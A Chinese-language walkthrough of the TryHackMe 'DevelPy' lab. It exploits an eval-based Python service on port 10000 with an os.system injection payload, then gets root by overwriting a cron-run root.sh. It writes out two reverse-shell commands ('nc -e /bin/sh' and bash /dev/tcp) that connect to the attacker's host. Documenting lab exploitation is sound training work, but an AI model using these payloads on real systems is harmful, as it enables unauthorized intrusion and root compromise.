DevelPy-TryHackMe
一、信息收集
- 这次没有开放80端口了,这里nmap扫描出来给了一个很奇怪的服务,这看起来像是靶机作者故意写的一个 交互式 Python 脚本服务,挂在
10000
端口,它会要求你输入内容,然后报错(显示 Python 源码片段),用nc连接试试
nmap -sV -sC -O 10.10.216.119
二、内网渗透
- 我这里使用nc连接然后输入了10 这里就返回来 10次数据包,如果开发者用了危险函数(比如
eval(input())
或os.system(input())
),那就有可能 输入被当成命令执行。
- 这里我们尝试执行命令的 Python 代码,成功看到了用户权限,那么我们这里就直接构建payload反弹shell
__import__('os').system('id')
- 构造payload发送过去
__import__('os').system('nc -e /bin/sh 10.17.35.134 4444 ')
- 开启新的终端启动监听端口,拿到shell,至此我们拿到第一个flag
nc -lvnp 4444
三、提权
- 我们看看当前用户有什计划任务执行,root.sh 文件由 root 用户通过 cron 在任何时刻执行。因此,通过修改其内容,我们可以执行一个脚本以连接到 root shell。当完成这一步后,我们就能获得 root 访问权限
- 我们删除root.sh文件再将我们反弹shell的命令写入,当任务执行的时候我们就能拿到rootshell
echo "bash -i >& /dev/tcp/[Your IP]/5555 0>&1" > root.sh
- 这里启动监听端口
nc -l -vv -p 5555
成功获得root shell